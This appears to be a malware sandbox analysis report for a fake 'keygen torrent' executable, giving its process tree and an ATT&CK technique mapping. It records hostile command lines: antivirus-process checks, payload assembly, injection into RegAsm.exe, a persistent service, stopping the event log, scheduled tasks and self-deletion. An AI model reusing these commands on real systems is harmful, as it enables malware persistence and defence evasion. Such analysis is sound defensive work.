PID 2448 wrote to memory of 2420	2448	Subsequently.pif	89
PID 2448 wrote to memory of 2420	2448	Subsequently.pif	89
PID 2448 wrote to memory of 2420	2448	Subsequently.pif	89
PID 2448 wrote to memory of 4684	2448	Subsequently.pif	88
PID 2448 wrote to memory of 4684	2448	Subsequently.pif	88
PID 2448 wrote to memory of 4684	2448	Subsequently.pif	88
PID 2448 wrote to memory of 4728	2448	Subsequently.pif	90
PID 2448 wrote to memory of 4728	2448	Subsequently.pif	90
PID 2448 wrote to memory of 4728	2448	Subsequently.pif	90
PID 4752 wrote to memory of 1508	4752	lXPQO2zi9zCX6FR6vHrct0pv.exe	91
PID 4752 wrote to memory of 1508	4752	lXPQO2zi9zCX6FR6vHrct0pv.exe	91
PID 4752 wrote to memory of 1508	4752	lXPQO2zi9zCX6FR6vHrct0pv.exe	91
PID 2448 wrote to memory of 4672	2448	Subsequently.pif	93
PID 2448 wrote to memory of 4672	2448	Subsequently.pif	93
PID 2448 wrote to memory of 4672	2448	Subsequently.pif	93
PID 2448 wrote to memory of 2616	2448	Subsequently.pif	95
PID 2448 wrote to memory of 2616	2448	Subsequently.pif	95
PID 2448 wrote to memory of 2616	2448	Subsequently.pif	95
PID 2448 wrote to memory of 2296	2448	Subsequently.pif	96
PID 2448 wrote to memory of 2296	2448	Subsequently.pif	96
PID 2448 wrote to memory of 2296	2448	Subsequently.pif	96
PID 2448 wrote to memory of 4116	2448	Subsequently.pif	92
PID 2448 wrote to memory of 4116	2448	Subsequently.pif	92
PID 2448 wrote to memory of 2404	2448	Subsequently.pif	97
PID 2448 wrote to memory of 2404	2448	Subsequently.pif	97
PID 2448 wrote to memory of 2404	2448	Subsequently.pif	97

C:\Users\Admin\AppData\Local\Temp\xfer records serum keygen torrent.exe
"C:\Users\Admin\AppData\Local\Temp\xfer records serum keygen torrent.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c move Qualify Qualify.bat & Qualify.bat
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4008
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- - C:\Windows\SysWOW64\findstr.exe
    findstr /I "wrsa opssvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4116
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- - C:\Windows\SysWOW64\findstr.exe
    findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c md 681814
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2328
- - C:\Windows\SysWOW64\findstr.exe
    findstr /V "ANGELENSEMBLECOSTSCHAMBER" Opportunity
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3640
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c copy /b ..\Mailing + ..\Diseases + ..\Generators + ..\Prepaid + ..\Dimensions + ..\Ultimately + ..\Subscriber + ..\Arcade + ..\Foundations + ..\Warm + ..\Exhibit + ..\Absorption + ..\Driven + ..\Tf + ..\Restriction + ..\Racks + ..\Origins + ..\Assess + ..\Latex + ..\Herbs + ..\Acc + ..\Semi + ..\Dressed + ..\Virginia + ..\Shake + ..\Cornwall + ..\Add + ..\Mic + ..\Standing + ..\Monaco + ..\Acute + ..\Boxed + ..\Terry + ..\Port H
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4240
- - C:\Users\Admin\AppData\Local\Temp\681814\Subsequently.pif
    Subsequently.pif H
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:520
  - - C:\Users\Admin\AppData\Local\Temp\681814\Subsequently.pif
      C:\Users\Admin\AppData\Local\Temp\681814\Subsequently.pif
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2448
    - - C:\Users\Admin\Documents\iofolko5\lXPQO2zi9zCX6FR6vHrct0pv.exe
        
        C:\Users\Admin\Documents\iofolko5\lXPQO2zi9zCX6FR6vHrct0pv.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4752
      - C:\Users\Admin\AppData\Local\Temp\is-TR5RM.tmp\lXPQO2zi9zCX6FR6vHrct0pv.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TR5RM.tmp\lXPQO2zi9zCX6FR6vHrct0pv.tmp" /SL5="$8013A,2535665,54272,C:\Users\Admin\Documents\iofolko5\lXPQO2zi9zCX6FR6vHrct0pv.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1508
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1508 -s 672
        7⤵
        Program crash
        
        PID:1392
    - - C:\Users\Admin\Documents\iofolko5\bGKejErtQK0Gns7nRcM7KDtG.exe
        
        C:\Users\Admin\Documents\iofolko5\bGKejErtQK0Gns7nRcM7KDtG.exe
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4684
    - - C:\Users\Admin\Documents\iofolko5\shh2LCX0eHlKckJnVKyi1Ge4.exe
        
        C:\Users\Admin\Documents\iofolko5\shh2LCX0eHlKckJnVKyi1Ge4.exe
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2420
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Televisions Televisions.bat & Televisions.bat
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:940
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3888
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:368
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:448
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2388
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 410599
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4860
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "CarrierWorshipTftInvestigated" Notify
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5092
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Canberra + ..\Conduct + ..\Pros + ..\Mu + ..\Infectious + ..\Preceding k
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\Temp\410599\Thank.pif
        
        Thank.pif k
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2728
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\DocumentsFHCAEGCBFH.exe"
        8⤵
        
        PID:3724
        
        C:\Users\Admin\DocumentsFHCAEGCBFH.exe
        
        "C:\Users\Admin\DocumentsFHCAEGCBFH.exe"
        9⤵
        
        PID:1948
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\DocumentsFHCAEGCBFH.exe
        10⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:544
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 2.2.2.2 -n 1 -w 3000
        11⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1480
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5004
    - - C:\Users\Admin\Documents\iofolko5\H0Ebbf5ho3YjkgRxKNvqXJJ_.exe
        
        C:\Users\Admin\Documents\iofolko5\H0Ebbf5ho3YjkgRxKNvqXJJ_.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4728
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1320
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:4224
        
        C:\ProgramData\ECFCBKJDBF.exe
        
        "C:\ProgramData\ECFCBKJDBF.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:792
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4404
        
        C:\ProgramData\BKJJEBKKEH.exe
        
        "C:\ProgramData\BKJJEBKKEH.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1480
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        
        PID:2696
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:1096
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminDAEGIIECGH.exe"
        9⤵
        
        PID:352
        
        C:\Users\AdminDAEGIIECGH.exe
        
        "C:\Users\AdminDAEGIIECGH.exe"
        10⤵
        
        PID:60
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        11⤵
        
        PID:4188
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminAKKECAFBFH.exe"
        9⤵
        
        PID:4480
        
        C:\Users\AdminAKKECAFBFH.exe
        
        "C:\Users\AdminAKKECAFBFH.exe"
        10⤵
        
        PID:2180
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        11⤵
        
        PID:4324
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        11⤵
        
        PID:3212
        
        C:\ProgramData\JJJECFIECB.exe
        
        "C:\ProgramData\JJJECFIECB.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5104
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3640
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEHCFIDHIDG" & exit
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1004
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        8⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2144
    - - C:\Users\Admin\Documents\iofolko5\Gff1V5KWuM4a73iXodnMc2em.exe
        
        C:\Users\Admin\Documents\iofolko5\Gff1V5KWuM4a73iXodnMc2em.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4116
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1700
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:196
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2356
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4024
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "RRTELIGS"
        6⤵
        Launches sc.exe
        
        PID:5012
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "RRTELIGS" binpath= "C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:3520
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:2420
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "RRTELIGS"
        6⤵
        Launches sc.exe
        
        PID:5104
    - - C:\Users\Admin\Documents\iofolko5\OoXCmRSqxlYbKdtoCNffpTLK.exe
        
        C:\Users\Admin\Documents\iofolko5\OoXCmRSqxlYbKdtoCNffpTLK.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:4672
      - C:\Users\Admin\AppData\Local\Temp\service123.exe
        
        "C:\Users\Admin\AppData\Local\Temp\service123.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:4284
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3100
    - - C:\Users\Admin\Documents\iofolko5\DvHoNcj4QUF3eNGB0Teaii8R.exe
        
        C:\Users\Admin\Documents\iofolko5\DvHoNcj4QUF3eNGB0Teaii8R.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5024
      - C:\Users\Admin\Documents\iofolko5\DvHoNcj4QUF3eNGB0Teaii8R.exe
        
        "C:\Users\Admin\Documents\iofolko5\DvHoNcj4QUF3eNGB0Teaii8R.exe"
        6⤵
        Executes dropped EXE
        
        PID:2828
    - - C:\Users\Admin\Documents\iofolko5\LE9rdj9rLiXYbZkcbVsNPeEr.exe
        
        C:\Users\Admin\Documents\iofolko5\LE9rdj9rLiXYbZkcbVsNPeEr.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2616
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:2152
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1716
    - - C:\Users\Admin\Documents\iofolko5\9YRw0_IlxTMZnRv0srQoDjNF.exe
        
        C:\Users\Admin\Documents\iofolko5\9YRw0_IlxTMZnRv0srQoDjNF.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2296
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4256
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:4808
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminCBAKJEHDBG.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2836
        
        C:\Users\AdminCBAKJEHDBG.exe
        
        "C:\Users\AdminCBAKJEHDBG.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1736
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3164
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\AdminHCAEBFBKKJ.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4804
        
        C:\Users\AdminHCAEBFBKKJ.exe
        
        "C:\Users\AdminHCAEBFBKKJ.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3920
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        9⤵
        
        PID:4204
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3828
    - - C:\Users\Admin\Documents\iofolko5\8uvFfOvdv7QQCJvxt4qD7_UB.exe
        
        C:\Users\Admin\Documents\iofolko5\8uvFfOvdv7QQCJvxt4qD7_UB.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2404
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4184
- - C:\Windows\SysWOW64\choice.exe
    choice /d y /t 5
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1564

C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe
C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4680
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:368
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2152
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1852
- C:\Windows\system32\svchost.exe
  svchost.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4540

C:\Users\Admin\AppData\Local\Temp\service123.exe
C:\Users\Admin\AppData\Local\Temp\/service123.exe
1⤵
PID:2504

C:\Users\Admin\AppData\Local\Temp\service123.exe
C:\Users\Admin\AppData\Local\Temp\/service123.exe
1⤵
PID:1272

C:\Users\Admin\AppData\Local\Temp\service123.exe
C:\Users\Admin\AppData\Local\Temp\/service123.exe
1⤵
PID:400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion